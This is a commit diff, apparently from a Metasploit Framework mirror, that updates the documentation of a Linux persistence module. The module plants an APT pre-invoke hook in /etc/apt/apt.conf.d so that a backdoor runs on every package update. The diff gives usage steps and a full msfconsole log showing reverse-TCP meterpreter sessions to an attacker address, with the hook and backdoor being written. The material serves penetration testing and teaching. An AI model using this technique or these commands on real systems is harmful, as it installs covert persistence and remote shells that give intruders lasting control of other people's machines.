infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Update documentation

master
Jacob Robles 2019-04-26 13:12:06 -05:00
parent 1faa41aafe
commit 635be0cc9c
No known key found for this signature in database
GPG Key ID: 3EC9F18F2B12401C
1 changed files with 45 additions and 15 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

60
documentation/modules/exploit/linux/local/apt_package_manager_persistence.md
View File

@ -1,13 +1,13 @@
## Apt package manager persistence
## Description
This module will run a payload when the package manager is used. No
handler is ran automatically so you must configure an appropriate
exploit/multi/handler to connect. Module creates a pre-invoke hook
for APT in apt.conf.d. The Hook name syntax is numeric followed by text.
exploit/multi/handler to connect. This module creates a pre-invoke hook
for APT in apt.conf.d. The hook name syntax is numeric followed by text.
### Testing
## Verification Steps
1. Exploit a box that uses APT
1. Exploit a box that uses APT
2. `use linux/local/apt_package_manager_persistence`
3. `set SESSION <id>`
4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed
@ -15,22 +15,52 @@ for APT in apt.conf.d. The Hook name syntax is numeric followed by text.
When the system runs apt-get update the payload will launch. You must set handler accordingly.
### Options
## Options
**BACKDOOR_NAME**
Name of backdoor executable
**HOOKNAME**
Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/ default is (05new-hook).
Pre-invoke hooks name syntax is numeric followed by text.
**SESSION**
The session to run this module on.
### Advanced Options
Name of pre-invoke hook to be installed in /etc/apt/apt.conf.d/. Pre-invoke hook name syntax is numeric followed by text.
**WritableDir**
Writable directory for backdoor default is (/usr/local/bin/)
Writable directory for backdoor default is (/usr/local/bin/)
## Scenarios
### Tested on Ubuntu 18.04.2 LTS
```
msf5 > use exploit/linux/local/apt_package_manager_persistence
msf5 exploit(linux/local/apt_package_manager_persistence) > handler -p linux/x86/meterpreter/reverse_tcp -H 172.22.222.136 -P 4444
[*] Payload handler running as background job 0.
msf5 exploit(linux/local/apt_package_manager_persistence) >
[*] Started reverse TCP handler on 172.22.222.136:4444
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.130:60526) at 2019-04-26 13:04:33 -0500
msf5 exploit(linux/local/apt_package_manager_persistence) > set session 1
session => 1
msf5 exploit(linux/local/apt_package_manager_persistence) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/local/apt_package_manager_persistence) > set lhost 172.22.222.136
lhost => 172.22.222.136
msf5 exploit(linux/local/apt_package_manager_persistence) > set lport 4444
lport => 4444
msf5 exploit(linux/local/apt_package_manager_persistence) > exploit
[*] Attempting to write hook:
[*] Wrote /etc/apt/apt.conf.d/34bmUIzfd
[*] Backdoor uploaded /usr/local/bin/dbmqKeh6U9
[*] Backdoor will run on next APT update
msf5 exploit(linux/local/apt_package_manager_persistence) >
[*] Sending stage (985320 bytes) to 172.22.222.130
[*] Meterpreter session 2 opened (172.22.222.136:4444 -> 172.22.222.130:60528) at 2019-04-26 13:05:17 -0500
msf5 exploit(linux/local/apt_package_manager_persistence) >
```
Note: Second session comes in after running `apt update` on the remote host